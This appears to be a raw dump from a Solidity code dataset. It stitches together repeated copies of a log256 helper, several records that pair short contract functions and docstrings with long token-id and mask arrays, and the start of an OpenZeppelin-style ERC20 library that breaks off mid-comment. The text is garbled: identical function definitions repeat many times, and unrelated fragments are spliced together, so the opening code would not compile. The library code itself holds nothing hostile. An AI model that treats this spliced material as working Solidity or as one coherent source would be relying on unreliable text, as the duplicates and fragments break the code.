if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
| 4,869,340 | [
1,
8336,
4233,
22538,
3315,
316,
326,
348,
7953,
560,
2653,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
2361,
10784,
429,
288,
203,
203,
565,
2792,
11370,
310,
288,
203,
565,
289,
203,
203,
565,
445,
943,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
279,
405,
324,
692,
279,
294,
324,
31,
203,
565,
289,
203,
203,
565,
445,
1131,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
279,
411,
324,
692,
279,
294,
324,
31,
203,
565,
289,
203,
203,
565,
445,
8164,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
261,
69,
473,
324,
13,
397,
261,
69,
3602,
324,
13,
342,
576,
31,
203,
565,
289,
203,
203,
565,
445,
8416,
7244,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
279,
422,
374,
692,
374,
294,
261,
69,
300,
404,
13,
342,
324,
397,
404,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
7244,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
16,
2254,
5034,
15030,
13,
2713,
16618,
1135,
261,
11890,
5034,
563,
13,
288,
203,
3639,
22893,
288,
203,
5411,
19931,
288,
203,
7734,
2231,
9740,
519,
14064,
1711,
12,
92,
16,
677,
16,
486,
12,
20,
3719,
203,
7734,
10791,
20,
519,
14064,
12,
92,
16,
677,
13,
203,
7734,
10791,
21,
519,
720,
12,
1717,
12,
7020,
16,
10791,
20,
3631,
13489,
12,
7020,
2
]
|
./full_match/137/0x55A9Efd9112ceF30d44A3130703083999d26F5Bc/sources/contracts/EthBio.sol | Helper functions */ Uppercase character... So we add 32 to make it lowercase | function _toLower(string memory str) internal pure returns (string memory) {
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint256 i = 0; i < bStr.length; i++) {
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
bLower[i] = bStr[i];
}
}
return string(bLower);
}
| 4,714,399 | [
1,
2276,
4186,
342,
29844,
3593,
3351,
2777,
6155,
732,
527,
3847,
358,
1221,
518,
12400,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
869,
4070,
12,
1080,
3778,
609,
13,
2713,
16618,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
1731,
3778,
324,
1585,
273,
1731,
12,
701,
1769,
203,
3639,
1731,
3778,
324,
4070,
273,
394,
1731,
12,
70,
1585,
18,
2469,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
324,
1585,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
14015,
11890,
28,
12,
70,
1585,
63,
77,
5717,
1545,
15892,
13,
597,
261,
11890,
28,
12,
70,
1585,
63,
77,
5717,
1648,
8566,
3719,
288,
203,
7734,
324,
4070,
63,
77,
65,
273,
1731,
21,
12,
11890,
28,
12,
70,
1585,
63,
77,
5717,
397,
3847,
1769,
203,
7734,
324,
4070,
63,
77,
65,
273,
324,
1585,
63,
77,
15533,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
533,
12,
70,
4070,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/4/0x140649F2F1e2bE7ad08Cc0bCcf90C44840C9a581/sources/SocialBets.sol | * @dev Checks is sender isn't contract [IMPORTANT] ==== This modifier will allow the following types of addresses: - an externally-owned account - a contract in construction - an address where a contract will be created - an address where a contract lived, but was destroyed ====/ | modifier onlyNotContract() {
require(!msg.sender.isContract(), "Contracts are prohibited");
_;
}
| 8,504,017 | [
1,
4081,
353,
5793,
5177,
1404,
6835,
306,
20445,
6856,
65,
422,
631,
1220,
9606,
903,
1699,
326,
3751,
1953,
434,
6138,
30,
225,
300,
392,
18885,
1230,
17,
995,
329,
2236,
225,
300,
279,
6835,
316,
16171,
225,
300,
392,
1758,
1625,
279,
6835,
903,
506,
2522,
225,
300,
392,
1758,
1625,
279,
6835,
328,
2950,
16,
1496,
1703,
17689,
422,
631,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
1248,
8924,
1435,
288,
203,
3639,
2583,
12,
5,
3576,
18,
15330,
18,
291,
8924,
9334,
315,
20723,
854,
450,
29993,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-05-05
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
